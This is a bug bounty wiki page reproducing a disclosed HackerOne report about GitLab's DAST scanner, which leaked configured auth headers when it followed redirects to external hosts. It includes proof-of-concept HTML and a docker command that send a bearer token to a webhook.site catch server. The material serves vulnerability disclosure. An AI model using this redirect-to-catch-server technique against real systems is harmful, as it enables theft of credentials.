Skip to content
Info disclosure Disclosed report Intermediate

DAST analyzer includes custom request headers in redirects

The DAST scanner was supposed to stop sending custom request headers to every request, but it still includes them when following redirects. An attacker could leak configured credentials by causing the scanner to follow a redirect to an external server.

GitLab

Originally disclosed on GitLab

  • Fixed in 36 days
  • Disclosed after 36 days

HackerOne report #1767533 by joaxcar on 2022-11-08, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

The latest release 15.5.2 contained a fix for the DAST scanner made to block the scanner from sending custom request headers in every request. Leading to leaked headers. This seems to work, but the scanner still includes the headers if any link redirects to another URL

Take this page as an example https://joaxcar.com/scan.html it contains this HTML:

HTML
<html>  
  <head>  
    <link rel="stylesheet" href="https://joaxcar.com/redirects/no_cors.php?url=https://webhook.site/REDACTED" />  
  </head>  
  <body>  
  </body>  
</html>  

This page contains a CSS link that is on the same URL, but that will make a redirect to my webhook. This will have the DAST scanner send the configured headers to the webhook URL and thus leaking any credentials.

This is a bit of a forced example, using CSS, but it will have the same effect if it is a link or any other thing the scanner will follow.

Steps to reproduce

This will happen if you configure this in the gitlab.com UI as either a build step or a on demand scan. But it is easier to prove by using the DAST scanner directly.

  1. Use this link to test the leak. Add a catch server as the URL param

https://joaxcar.com/scan.php?url=https://WEBHOOK.SITE
2. Run this command and replace target with the link you created in step 1

docker run --privileged=true  --interactive --tty --rm \  
 --env DAST_REQUEST_HEADERS='Authorization: Bearer secret-token' \  
--env DAST_ZAP_CONNECT_SLEEP_SECONDS='5' \  
 --env DAST_FULL_SCAN_ENABLED=true \  
--env DAST_BROWSER_SCAN=true \  
registry.gitlab.com/gitlab-org/security-products/dast:latest /analyze -d  \  
-t https://joaxcar.com/scan.php?url=https://webhook.site/REDACTED \  
 -r report.html  
  1. Your catch server should now have two requests, both containing the auth header containing secret token (the scan will first fetch the CSS and then also make a spider request directly to the URL)

Impact

DAST scanner still leak configured headers to other domains if encountering a redirect

What is the current bug behavior?

Redirects are not filtered

What is the expected correct behavior?

The same as for regular of site links

Output of checks

This bug happens on GitLab.com

Impact

DAST scanner still leak configured headers to other domains if encountering a redirect

Attachments

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the scanner does not filter redirects when deciding whether to include custom headers, so headers are sent to any redirected URL.

Impact

The scanner could leak configured headers, such as authentication tokens, to other domains when it follows redirects.

What the attacker needed

DAST scanner configured with custom headers; scanned page contains a redirect to an external URL

The fix

The scanner should filter redirects in the same way it filters regular off-site links, so custom headers are not sent to external domains.

How it was found

  1. Create a catch server URL and use it as a parameter in a test page.
  2. Run the DAST scanner Docker command with the test page URL and custom headers configured.
  3. Observe that the catch server receives requests containing the auth header.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A security scanner is a tool that automatically checks websites for problems. This scanner was configured with secret headers (like passwords) that should only go to the site being scanned. But if the site redirects to another site, the scanner still sends those secrets, so someone could steal them.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.